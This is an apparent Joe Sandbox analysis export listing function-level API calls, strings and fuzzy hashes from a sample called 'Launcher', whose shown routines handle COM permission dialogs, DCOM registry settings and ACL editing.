Opcode ID: 3dc9c3110fd08580b3a019d6b8c823db0be50bb9237fb6ca922fc70373c8ad38
Instruction ID: e3a1bfb1691999d053250ee0003d26b29f9185772cdfed056dafad4dd1eed305
Opcode Fuzzy Hash: 3dc9c3110fd08580b3a019d6b8c823db0be50bb9237fb6ca922fc70373c8ad38
Instruction Fuzzy Hash: 2D419E71901129ABCB51EBA0DC89BDDB77AAF18320F1082D5E519A7191DF30AF85CF94

Function 00670810 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00670826
#4219.MFC42U(Selecting default permissions will delete any changes you have ever made to the launch permission list of this application. Are yo,Launch Permissions,00000004), ref: 0067083E
LoadCursorW.USER32(00000000,00007F02), ref: 00670853
SetCursor.USER32(00000000), ref: 0067085A
SendMessageW.USER32(?,00001009,00000000,00000000), ref: 0067088A
#2634.MFC42U(00000000), ref: 00670897
#2634.MFC42U(00000000,00000000), ref: 006708A3
LoadCursorW.USER32(00000000,00007F00), ref: 006708AE
SetCursor.USER32(00000000), ref: 006708B5
#4118.MFC42U ref: 006708C3
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 006708DB
#5977.MFC42U ref: 006708E4
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 006708F2

Strings

Selecting default permissions will delete any changes you have ever made to the launch permission list of this application. Are yo, xrefs: 00670837
Launch Permissions, xrefs: 00670832
LaunchPermission, xrefs: 00670860

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CursorMessageSend$#2634Load$#4118#4219#5977
String ID: Launch Permissions$LaunchPermission$Selecting default permissions will delete any changes you have ever made to the launch permission list of this application. Are yo
API String ID: 791338786-3477396783
Opcode ID: 1439b428030ec5201d5002aa349f27543ba56418c301fead8b0cb0316c184a19
Instruction ID: 5edeee61de8ce3c75aec454fcc120298e7c6214b79c39fcfa47ae96d323fdcd2
Opcode Fuzzy Hash: 1439b428030ec5201d5002aa349f27543ba56418c301fead8b0cb0316c184a19
Instruction Fuzzy Hash: 9C216A31640211BAEB616F61CC4EEDB3A2BEF46761F424074FA0E991A6CFA14846C6B0

Function 0066EBCC Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

#540.MFC42U(800E373A,?,?,?,?,?,006804CF,000000FF), ref: 0066EBFF
#540.MFC42U(800E373A,?,?,?,?,?,006804CF,000000FF), ref: 0066EC07
#4155.MFC42U(00000004,800E373A,?,?,?,?,?,006804CF,000000FF), ref: 0066EC11
#4155.MFC42U(00000008,00000004,800E373A,?,?,?,?,?,006804CF,000000FF), ref: 0066EC1B
#6398.MFC42U(?,?,?,00000008,00000004,800E373A,?,?,?,?,?,006804CF,000000FF), ref: 0066EC32
#861.MFC42U(ViewHiddenComCats,?,?,?,00000008,00000004,800E373A,?,?,?,?,?,006804CF,000000FF), ref: 0066EC3F
#6398.MFC42U(?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,800E373A,?,?,?,?,?,006804CF), ref: 0066EC4F
#861.MFC42U(ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,800E373A), ref: 0066EC5C
#6398.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,800E373A), ref: 0066EC6C
#800.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,800E373A), ref: 0066EC74
#800.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,800E373A), ref: 0066EC7C
#800.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,800E373A), ref: 0066EC84
#652.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,800E373A), ref: 0066EC8B

Strings

ViewHiddenComCats, xrefs: 0066EC37
ExpertMode, xrefs: 0066EC54
f, xrefs: 0066EBF9

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6398#800$#4155#540#861$#652
String ID: ExpertMode$ViewHiddenComCats$f
API String ID: 800799730-2566507215
Opcode ID: b6cf7571c2bfa8049a0e2d5f10b1ff5699df075af2c37804620ec230165cb4d1
Instruction ID: 46f1722f6e032c326077e6a37d3d0b9994d2287ea5f10a3953cef74be975aab2
Opcode Fuzzy Hash: b6cf7571c2bfa8049a0e2d5f10b1ff5699df075af2c37804620ec230165cb4d1
Instruction Fuzzy Hash: 0B214C31900515ABCB56EB90CC42DBEB7B7FF54710F00492CF516672E1EB716A08CB15

Function 00670F10 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00670F1A
#355.MFC42U(00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00670F3C
#2507.MFC42U(00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00670F4A
#3494.MFC42U(?,00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00670F6B
LoadTypeLib.OLEAUT32(?,?), ref: 00670F89
#540.MFC42U(0066A8E9), ref: 00670FA2
#3494.MFC42U(?,0066A8E9), ref: 00670FB8
#2810.MFC42U(?,LoadTypeLib( %s ) failed.,00000000,?,0066A8E9), ref: 00670FCF
#800.MFC42U ref: 00670FE1
#800.MFC42U(?), ref: 00670FF9
#800.MFC42U(?,00669ECC,?,0066A8E9), ref: 00671034
#800.MFC42U(?,00669ECC,?,0066A8E9), ref: 0067103F
#641.MFC42U(?,00669ECC,?,0066A8E9), ref: 0067104A

Strings

*.tlb, xrefs: 00670F35
TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|, xrefs: 00670F22
LoadTypeLib( %s ) failed., xrefs: 00670FC9

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#3494$#2507#2810#355#540#641H_prolog3_LoadType
String ID: *.tlb$LoadTypeLib( %s ) failed.$TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|
API String ID: 2313197997-4003309560
Opcode ID: cc51588ea7266b261d75fc128cfc250c2b95d0fdd632e51497525150269db87d
Instruction ID: 52449e79ee9ac4523928c5ad1b6c222445d1564ebaf2f94e53ee66ff98783c56
Opcode Fuzzy Hash: cc51588ea7266b261d75fc128cfc250c2b95d0fdd632e51497525150269db87d
Instruction Fuzzy Hash: 242160308006689BCB66EB50CC82AEDB77DAF14705F4884E9F10D661A1DF751F88CF15

Function 0066D2E0 Relevance: 27.2, APIs: 18, Instructions: 221windowCOMMON

Download Yara Rule

APIs

#5031.MFC42U(?,?,?), ref: 0066D301
#6193.MFC42U(00000000,00000004,?,?,?,00000014,?), ref: 0066D34C
GetWindowRect.USER32(00000000,?), ref: 0066D320

Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8B7
Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8C4
Part of subcall function 0066C8A6: #3133.MFC42U(?,?,?,0066C46E,?), ref: 0066C8CC

GetWindowRect.USER32(00000000,?), ref: 0066D36B
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066D38B
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 0066D3BC
GetWindowRect.USER32(00000000,?), ref: 0066D3E6
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066D406
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 0066D430
GetWindowRect.USER32(00000000,?), ref: 0066D44F
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066D46F
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 0066D499
GetWindowRect.USER32(00000000,?), ref: 0066D4B8
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066D4D8
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 0066D502
GetWindowRect.USER32(00000000,?), ref: 0066D521
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066D541
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 0066D568

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6193RectWindow$MessageSend$ClientScreen$#3133#5031
String ID:
API String ID: 4086507556-0
Opcode ID: 1ab159bfbe498c5341d630bbe2671cfe8f93601f680b940be086bb12908a141e
Instruction ID: 57bba08806781677893e804a5d43d4551fe9e9813b13f8ca4e81ddcb3ac7b931
Opcode Fuzzy Hash: 1ab159bfbe498c5341d630bbe2671cfe8f93601f680b940be086bb12908a141e
Instruction Fuzzy Hash: 0081327064020AAFEB20DFB5CC89FEF7BBAEB44700F504528F655AA1E4DB706904DB54

Function 0067C8A3 Relevance: 25.6, APIs: 17, Instructions: 108COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001,?,?,0067BA6A,?), ref: 0067C8C5
OpenProcessToken.ADVAPI32(00000000,?,0067BA6A,?), ref: 0067C8CC
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,0067BA6A,?,0067BA6A,?), ref: 0067C8E7
GetLastError.KERNEL32(?,0067BA6A,?), ref: 0067C8ED
CloseHandle.KERNEL32(?,0067BA6A,?), ref: 0067C921

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ProcessToken$CloseCurrentErrorHandleInformationLastOpen
String ID:
API String ID: 2078281146-0
Opcode ID: 7cc2d65dcbd75353210004a278e0c7f3b9bf12579dfce15e55c9bc7c56f4544f
Instruction ID: aa025b283bd83c4dc1d341a9e43941cdcd0d4ca7b05d94cc17cbc7526db88a78
Opcode Fuzzy Hash: 7cc2d65dcbd75353210004a278e0c7f3b9bf12579dfce15e55c9bc7c56f4544f
Instruction Fuzzy Hash: 7031D436500116FFDB115BA4EC08AAE7B7BFB45321B219229FA09E6220DF358940DB61

Function 0066C070 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 75windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0066C086
#4219.MFC42U(Selecting default permissions will delete any changes you have ever made to the access permission list of this application. Are yo,Access Permissions,00000004), ref: 0066C09E
LoadCursorW.USER32(00000000,00007F02), ref: 0066C0B3
SetCursor.USER32(00000000), ref: 0066C0BA
SendMessageW.USER32(?,00001009,00000000,00000000), ref: 0066C0EA
#2634.MFC42U(00000000), ref: 0066C0F7
#2634.MFC42U(00000000,00000000), ref: 0066C103
LoadCursorW.USER32(00000000,00007F00), ref: 0066C10E
SetCursor.USER32(00000000), ref: 0066C115
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066C12D
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0066C13D

Strings

Selecting default permissions will delete any changes you have ever made to the access permission list of this application. Are yo, xrefs: 0066C097
Access Permissions, xrefs: 0066C092
AccessPermission, xrefs: 0066C0C0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CursorMessageSend$#2634Load$#4219
String ID: Access Permissions$AccessPermission$Selecting default permissions will delete any changes you have ever made to the access permission list of this application. Are yo
API String ID: 2901272449-2859256857
Opcode ID: b34600f40f08c0e87bf1af9854a97becd1bc66ffb52aecd592480fffb7f462f8
Instruction ID: 535f3cbec60fc23e2439ed1d99e60cba791174bed7a87a064bcd903a55630293
Opcode Fuzzy Hash: b34600f40f08c0e87bf1af9854a97becd1bc66ffb52aecd592480fffb7f462f8
Instruction Fuzzy Hash: FD117232140611BBE7216F61EC8EEE73B2BDF87B61F125075FA0999096CBA10404C6B0

Function 00675601 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 172registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000000,AppID,00000000), ref: 00675653
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000100), ref: 0067569A
wsprintfW.USER32 ref: 00675754
RegQueryValueW.ADVAPI32(80000000,?,?,00000100), ref: 00675777
CLSIDFromString.OLE32(00000000,-00000008), ref: 006757CF
lstrcpyW.KERNEL32(-00000084,?), ref: 0067584A
lstrlenW.KERNEL32(?), ref: 006758A8
wsprintfW.USER32 ref: 006758C5
RegCloseKey.ADVAPI32(00000000), ref: 006758FE

Strings

', xrefs: 00675870
AppID, xrefs: 00675649
AppID\%s, xrefs: 00675748
[AppID: %s], xrefs: 006758B9

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: wsprintf$CloseEnumFromOpenQueryStringValuelstrcpylstrlen
String ID: '$AppID$AppID\%s$[AppID: %s]
API String ID: 1953670596-3682975055
Opcode ID: c80c7d57c0fe59ba1452a7ce9af043adf81cc658196cb8cae05c08fa8c7800d6
Instruction ID: 6b9fe20df79624d0404e18c3f3cb38b50363e6faac2a1a56ef6e5c6ecc1d3e09
Opcode Fuzzy Hash: c80c7d57c0fe59ba1452a7ce9af043adf81cc658196cb8cae05c08fa8c7800d6
Instruction Fuzzy Hash: 3481C4B1900A2C9FDB64CF64DC45BEAB7B9BB08306F1055E9E509E6290DB749F84CF50

Function 0067B680 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 124windowstringCOMMON

Download Yara Rule

APIs

Part of subcall function 0067D6F5: RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D70D
Part of subcall function 0067D6F5: RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,0067D6E4,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D72C
Part of subcall function 0067D6F5: RegCloseKey.ADVAPI32(?,?,?,?,0067D6E4,80000000,?,?,?,?,?,?,?,?), ref: 0067D738

lstrcmpiW.KERNEL32(?,00662778,80000002,SOFTWARE\MICROSOFT\OLE,EnableDCOM,?,?), ref: 0067B6E0
lstrcmpiW.KERNEL32(?,00662778,80000002,SOFTWARE\MICROSOFT\OLE,EnableRemoteConnect,?,00000100,80000002,SOFTWARE\MICROSOFT\OLE,EnableDCOM,?,?), ref: 0067B726
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0067B749
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0067B76E
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0067B7B1
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0067B7DC
#5273.MFC42U(80000002,SOFTWARE\MICROSOFT\OLE,EnableRemoteConnect,00662778), ref: 0067B809
#1197.MFC42U(These changes will take effect after you restart your computer.,00000000,00000000), ref: 0067B81F

Strings

These changes will take effect after you restart your computer., xrefs: 0067B81A
EnableRemoteConnect, xrefs: 0067B702, 0067B7F0
EnableDCOM, xrefs: 0067B6BA, 0067B782
SOFTWARE\MICROSOFT\OLE, xrefs: 0067B6BF, 0067B707, 0067B787, 0067B7F5

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$lstrcmpi$#1197#5273CloseOpenQueryValue
String ID: EnableDCOM$EnableRemoteConnect$SOFTWARE\MICROSOFT\OLE$These changes will take effect after you restart your computer.
API String ID: 2271089683-166272277
Opcode ID: 61992e871743f093c99d96eaeba6c74cc9a0b50381ad87b38bf32dff7cc19403
Instruction ID: 8c6a30370384f637bc9f5b188bae84cdf8efcf4da7bfb0c9d3946d9ccb29c7f3
Opcode Fuzzy Hash: 61992e871743f093c99d96eaeba6c74cc9a0b50381ad87b38bf32dff7cc19403
Instruction Fuzzy Hash: 9F41EC7078031676EB305B20CD87FBA776FEB04B04F119265FA1DB5281DBB1AD459B48

Function 0067F1A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 70libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00683B00,00000FA0), ref: 0067F1B0
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll), ref: 0067F1BB
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0067F1CC
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0067F1DE
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0067F1EC
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0067F21E
DeleteCriticalSection.KERNEL32(00683B00,00000007), ref: 0067F245
CloseHandle.KERNEL32(00000000), ref: 0067F255

Strings

kernel32.dll, xrefs: 0067F1C7
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0067F1B6
WakeAllConditionVariable, xrefs: 0067F1E4
SleepConditionVariableCS, xrefs: 0067F1D8

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: d93c6edff97071fce7a0d01eb63e3e0d0fe4d682b8b22db8a84ded5bae67b4e4
Instruction ID: 67817e2a28ff8d040f05beabd33e38c8b4f2f2f49a73e969ec323bcacb5bdb3d
Opcode Fuzzy Hash: d93c6edff97071fce7a0d01eb63e3e0d0fe4d682b8b22db8a84ded5bae67b4e4
Instruction Fuzzy Hash: 8E01A175A447227BC72027B4BC0DE6B3A9BAF94F11B165224FD08E2351EF70CE008BA5

Function 0066F290 Relevance: 21.0, APIs: 10, Strings: 2, Instructions: 44stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0066F29A
lstrcpyW.KERNEL32(?,Executable Files (*.exe)|*.exe|All Files (*.*)|*.*|,00000548), ref: 0066F2AD
#355.MFC42U(00000001,00000000,006621A0,00001804,?), ref: 0066F2D0
#2507.MFC42U ref: 0066F2E8
#3494.MFC42U(?), ref: 0066F2FF
#858.MFC42U(00000000,?), ref: 0066F30F
#800.MFC42U(00000000,?), ref: 0066F31D
#6330.MFC42U(00000000,00000000,?), ref: 0066F325
#800.MFC42U ref: 0066F330
#641.MFC42U ref: 0066F33B

Strings

Executable Files (*.exe)|*.exe|All Files (*.*)|*.*|, xrefs: 0066F2A1
Open COM Surrogate Server, xrefs: 0066F2DE

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#2507#3494#355#6330#641#858H_prolog3_lstrcpy
String ID: Executable Files (*.exe)|*.exe|All Files (*.*)|*.*|$Open COM Surrogate Server
API String ID: 2485399651-276578773
Opcode ID: 7b5354d972f4ae83086d84be20d196720d8c506dd13cfc11eadbcee501e5a8c0
Instruction ID: 3b18fe0cf12a9900fd27717a8165ea62f9789358370388c3f6ced156a1d49319
Opcode Fuzzy Hash: 7b5354d972f4ae83086d84be20d196720d8c506dd13cfc11eadbcee501e5a8c0
Instruction Fuzzy Hash: 31015E71840928AADB50EB54CC91ADEB37ABF14305F8084EDB109A3181EFB45F8CCE55

Function 0066EF20 Relevance: 21.0, APIs: 10, Strings: 2, Instructions: 44stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0066EF2A
lstrcpyW.KERNEL32(?,Executable Files (*.exe;*.dll;*.ocx)|*.exe;*.dll;*.ocx|All Files (*.*)|*.*|,00000548), ref: 0066EF3D
#355.MFC42U(00000001,00000000,006621A0,00001804,?), ref: 0066EF60
#2507.MFC42U ref: 0066EF78
#3494.MFC42U(?), ref: 0066EF8F
#858.MFC42U(00000000,?), ref: 0066EF9F
#800.MFC42U(00000000,?), ref: 0066EFAD
#6330.MFC42U(00000000,00000000,?), ref: 0066EFB5
#800.MFC42U ref: 0066EFC0
#641.MFC42U ref: 0066EFCB

Strings

Open COM Server, xrefs: 0066EF6E
Executable Files (*.exe;*.dll;*.ocx)|*.exe;*.dll;*.ocx|All Files (*.*)|*.*|, xrefs: 0066EF31

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#2507#3494#355#6330#641#858H_prolog3_lstrcpy
String ID: Executable Files (*.exe;*.dll;*.ocx)|*.exe;*.dll;*.ocx|All Files (*.*)|*.*|$Open COM Server
API String ID: 2485399651-2085683529
Opcode ID: 5204e05431f68d566882ab09ca994a5a3562355baf597cbe77da96d08d58677c
Instruction ID: a9fa7e72915fcecfa7ae186ceb28bb5c9aaecb1d38769c829d3cd2dc5298c1d0
Opcode Fuzzy Hash: 5204e05431f68d566882ab09ca994a5a3562355baf597cbe77da96d08d58677c
Instruction Fuzzy Hash: 2D015E71840928AADB50EB54CC91ADEB37AAF14305F8084EDF109A2181EFB05F8CCE55

Function 0067BF00 Relevance: 18.2, APIs: 12, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0067BF47
GetLastError.KERNEL32(?,?,?,?,?,?,?,?), ref: 0067BF51
GetExplicitEntriesFromAclW.ADVAPI32(?,?,?), ref: 0067BF7F
SetEntriesInAclW.ADVAPI32(?,?,00000000,?), ref: 0067BF94
MakeAbsoluteSD.ADVAPI32(?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?), ref: 0067BFBD
MakeAbsoluteSD.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 0067C018
SetSecurityDescriptorDacl.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0067C030
MakeSelfRelativeSD.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 0067C044
LocalAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0067C053
MakeSelfRelativeSD.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 0067C065
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 0067C0A0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Make$AbsoluteDaclDescriptorEntriesLocalRelativeSecuritySelf$AllocErrorExplicitFreeFromLast
String ID:
API String ID: 559786115-0
Opcode ID: 9f58487106e57e2d8585fd32a420609b0d5fcc864723acc7fbd364d789119fe0
Instruction ID: 9f061f3f1801b7fd2833d1528eb315c6c1f0c1f835941366bd04bea7b4caa52f
Opcode Fuzzy Hash: 9f58487106e57e2d8585fd32a420609b0d5fcc864723acc7fbd364d789119fe0
Instruction Fuzzy Hash: B151C776900119EFDB11DF95DC84EEFBBBEEF48750B10812AF909E2210D7359A44CBA0

Function 0066E466 Relevance: 18.1, APIs: 12, Instructions: 92windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E482
#6211.MFC42U(00000005,?,?,?,?,?,0066E130,?,?), ref: 0066E49B
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 0066E4AA
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E4BE

Part of subcall function 0066E583: #6211.MFC42U(?,0000130B,?,?,0066D5AA,00000000), ref: 0066E5BE
Part of subcall function 0066E583: RedrawWindow.USER32(?,00000000,00000000,00000105,?,0000130B,?,?,0066D5AA,00000000), ref: 0066E669

SendMessageW.USER32(?,00001308,00000001,00000000), ref: 0066E4DA
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E4ED
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E504
SendMessageW.USER32(?,0000133E,00000000,?), ref: 0066E528
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0066E53B
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 0066E555
